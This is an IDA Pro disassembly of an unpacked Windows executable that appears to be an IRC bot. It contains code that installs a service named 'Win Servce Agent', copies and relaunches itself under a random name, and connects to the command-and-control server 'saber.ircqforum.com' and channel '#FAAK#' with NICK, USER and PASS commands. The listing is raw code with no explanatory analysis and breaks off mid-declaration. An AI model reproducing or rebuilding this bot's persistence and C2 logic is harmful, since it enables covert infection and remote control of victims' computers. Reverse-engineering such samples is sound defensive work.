;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A1006188D8DA1C5FC0235E0D67051962

; File Name   :	u:\work\a1006188d8da1c5fc0235e0d67051962_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E3000 ( 929792.)
; Section size in file		: 000E3000 ( 929792.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWinServceAgent ; "Win Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4D07D8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4D0848
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4D0788


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4D0800
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_44376C
		call	dword_4D08BC
		call	sub_40B2BF
		call	dword_4D077C
		call	dword_4D077C
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_4429D8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680ACFh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2670C5Bh
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4429D0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4D0560, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D0564, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4D08D0
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 26A0472h
		nop
		push	eax
		nop
		call	near ptr 26A0393h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4D0794
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2680ACFh
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A01F7h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_42ED6C
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_42ED64
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26A0129h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0000h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690A97h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2680E26h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0000h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_4429D8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2690A25h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2690307h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42ED58
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670C5Bh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2680E26h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4D077C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4E0B44, 2
		jle	short loc_401562
		mov	eax, dword_4E0B48
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A0393h
		push	esi
		nop
		call	near ptr 267093Fh
		mov	eax, dword_4E0B48
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680E26h
		mov	eax, dword_4E0B48
		push	dword ptr [eax+8]
		nop
		call	near ptr 269022Dh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4D08F4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_42ED3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_4429E0
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_42ED18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_42ECD8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_42ECAC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_42EC78
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4D056C
		mov	dword_4D06D8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4D05EC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4D062C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4D06C0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4D0568
		mov	dword_4D06D4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4D06D4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680E26h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4D056C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4D056C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4D077C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4D0824
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_443778
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4D08A4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_44376C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4D08BC
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680E26h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42ED74
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4D08BC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4D06D0, bl
		jz	short loc_40199A
		push	offset byte_4D06D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4D08BC
		push	1388h
		call	near ptr 2680E26h
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2680E26h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
